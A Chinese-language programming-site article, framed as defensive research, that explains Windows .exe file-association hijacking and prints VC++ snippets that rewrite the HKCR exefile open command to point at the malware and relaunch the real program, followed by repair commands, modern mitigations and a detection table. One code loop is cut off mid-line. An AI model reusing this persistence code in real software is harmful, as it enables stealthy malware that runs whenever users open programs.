首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> C++ >> 關於C++

檔案關聯型惡意程式碼原理分析:註冊表劫持與偽裝執行機制 (安全研究視角)

     編輯:關於C++

聲明:本文僅從防禦與安全研究角度分析惡意程式碼技術原理,嚴禁用於實際攻擊或製作惡意軟體。理解攻擊手法是建立有效防禦的前提。

攻擊原理:劫持可執行檔關聯

Windows 透過註冊表 HKEY_CLASSES_ROOT\exefile\shell\open\command 定義 .exe 檔案的打開動作。預設值為 "%1" %* (執行檔案本身並傳遞參數)。惡意程式修改此值指向自身,導致使用者雙擊任意 .exe 皆先執行惡意程式,再由惡意程式啟動原本目標程式,達到隱蔽常駐與權限提升目的。

典型實作流程 (VC++ 範例碼分析)

1. 互斥體防止重複執行

HANDLE hMutex = CreateMutex(FALSE, FALSE, "MyStart");
if (GetLastError() == ERROR_ALREADY_EXISTS) ExitProcess(0);

2. 解析命令列參數 (原程式路徑)

CString str = AfxGetApp()->m_lpCmdLine; // 格式: "目標程式路徑" 參數...
// 處理路徑中的反斜線轉義: \ -> \\
CString temp;
for (int i=0; i

3. 修改註冊表劫持 .exe 關聯

// 先恢復原始關聯,避免 ShellExecute 遞迴呼叫自身
char original[] = "\"%1\" %*";
RegSetValue(HKEY_CLASSES_ROOT, "exefile\\shell\\open\\command", REG_SZ, original, strlen(original)+1);

// 執行原本目標程式
ShellExecute(NULL, "open", temp, NULL, NULL, SW_SHOW);

// 執行完成後,再次修改註冊表指向自身
TCHAR selfPath[256];
GetModuleFileName(NULL, selfPath, 255);
strcat(selfPath, " \"%1\" %*");
RegSetValue(HKEY_CLASSES_ROOT, "exefile\\shell\\open\\command", REG_SZ, selfPath, strlen(selfPath)+1);

4. 擴展至其他檔案類型 (如 .txt)

同理修改 HKEY_CLASSES_ROOT\txtfile\shell\open\command,指定 notepad.exe 為實際開啟程式,惡意程式作為中介層。

攻擊特徵與危害

  • 極強隱蔽性:使用者操作完全正常,無感知差異。
  • 安全模式亦生效:註冊表關聯在安全模式下同樣生效,傳統啟動項清理無效。
  • 權限繼承:若目標程式需管理員權限 (UAC 提示),惡意程式同樣獲得高權限。
  • 系統不穩定:註冊表損壞或惡意程式崩潰導致所有 .exe 無法執行。

防禦與檢測策略

修復受感染系統

以管理員權限執行以下註冊表恢復命令:

reg add "HKCR\exefile\shell\open\command" /ve /d "\"%1\" %*" /f
reg add "HKCR\txtfile\shell\open\command" /ve /d "notepad.exe %1" /f

或使用系統修復工具 (SFC /scannow)、還原點、安全模式下手動修正註冊表。

現代 Windows 緩解措施

  • UAC 虛擬化:標準使用者無法直接寫入 HKCR (實際寫入 HKCU\Software\Classes),限制影響範圍。
  • 應用程式關聯機制變更:Win8+ 引入 UserChoice 機制,使用者選擇的預設程式優先級高於註冊表靜態值。
  • 智慧螢幕/雲端防護:未簽名程式修改關鍵註冊表觸發雲端查證與攔截。

檔案關聯劫持是經典且持續有效的持久化技術。安全從業者應熟悉其原理、特徵與防禦體系,將關鍵註冊表區域納入核心監控範圍,構建纵深防禦。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved
層面措施
註冊表監控監控 HKCR\exefile\shell\open\command 等關鍵鍵值變更,異常修改即時告警/阻攔 (HIPS/EDR 功能)。
完整性驗證系統關鍵註冊表鍵值納入基線,定期比對 (如 Windows Resource Protection)。
應用程式白名單僅允許簽名通過的程式執行 (AppLocker、WDAC),阻擋未授權中介程式。
行為分析檢測「程式啟動 → 修改 exe 關聯 → 啟動其他程式 → 恢復關聯」行為鏈。
使用者教育避免以管理員身份日常操作,降低惡意程式獲取寫入 HKCR 權限機率。